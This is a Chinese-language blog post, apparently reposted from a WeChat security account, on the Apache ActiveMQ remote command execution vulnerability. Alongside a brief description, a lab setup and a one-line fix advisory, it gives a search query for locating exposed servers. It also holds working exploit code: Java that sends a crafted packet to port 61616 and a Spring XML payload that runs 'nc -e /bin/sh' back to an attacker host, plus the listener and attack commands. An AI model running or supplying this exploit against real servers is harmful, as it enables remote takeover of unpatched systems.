免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
Apache ActiveMQ 远程命令执行漏洞
02
—
影响范围
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
03
—
漏洞描述
ActiveMQ 是 Apache 软件基金下的一个开源软件,它遵循 JMS1.1规范(Java Message Service),是消息队列服务,是面向消息中间件(MOM)的最终实现,它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。ActiveMQ < 5.17.6和ActiveMQ < 5.18.3等版本对传入的TCP数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类,最终能直接执行任意命令。
04
—
app="APACHE-ActiveMQ" && title=="Apache ActiveMQ"
05
—
搭建靶场
因为activemq5.17和5.18都依赖于jdk11+,因此使用docker安装环境
创建Dockerfile
vim Dockerfile
# 使用官方的CentOS 7基础镜像
FROM centos:7
# 安装OpenJDK 11
RUN yum install -y java-11-openjdk
# 设置JAVA_HOME环境变量
ENV JAVA_HOME /usr/lib/jvm/java-11-openjdk
# 安装wget和tar,以便下载和解压Maven
nc
构建docker镜像
docker build -t centos7-jdk11-maven325 .
启动容器
docker run -itd --name activemq5182 -p 8161:8161 -p 61616:61616 centos7-jdk11-maven325
进入docker容器
docker exec -it activemq5182 /bin/bash
下载activemq安装包,选择5.18.2版本
wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
解压缩
tar -zxvf apache-activemq-5.18.2-bin.tar.gz
启动服务
cd apache-activemq-5.18.2
# 编辑jett.xml文件
vi conf/jetty.xml
# 找到jettyPort的bean标签,host改为 0.0.0.0,否则只能本地访问
bin/activemq start
访问服务
http://192.168.86.128:8161/
默认用户名/密码:admin/admin
05
—
漏洞利用
看到github上有个已公开的exp,拿下来反编译后看了下没啥问题,可以直接用
https://github.com/Fw-fW-fw/activemq_Throwable
下载后一个是Java包activemq_poc.jar,另一个是远程poc文件poc.xml
activemq_poc.jar的核心代码如下
public static void main(String[] args) throws IOException {
if (args.length < 2) {
System.err.println("Usage: java activemq_poc.jar <ip> <port> <urlfile_xmlpoc>");
System.exit(1);
}
String ip = args[0];
int port = Integer.parseInt(args[1]);
Socket sck = new Socket(ip, port);
DataOutputStream out = null;
DataInputStream in = null;
out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));
out.writeInt(32);
out.writeByte(31);
out.writeInt(1);
out.writeBoolean(true);
out.writeInt(1);
out.writeBoolean(true);
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
out.writeBoolean(true);
out.writeUTF(args[2]);
out.close();
in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));
OutputStream os = sck.getOutputStream();
int length = in.available();
byte[] buf = new byte[length];
in.readFully(buf);
os.write(buf);
in.close();
sck.close();
}
执行jar文件需要用到Java11,所以将包传到kali2023上,这台机器IP为192.168.86.129。
修改poc.xml文件内容
vim poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="nc -e /bin/sh 192.168.86.129 4444" />
</bean>
</beans>
使用 Python 的内置 HTTP 服务器来提供本地文件服务
python -m http.server 8000
启动nc监听
nc -lvnp 4444
执行攻击命令,其中192.168.86.128是靶场ip,61616是端口
java -jar activemq_poc.jar 192.168.86.128 61616 http://192.168.86.129:8000/poc.xml
06
—
修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):ActiveMQ 远程命令执行漏洞 EXP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论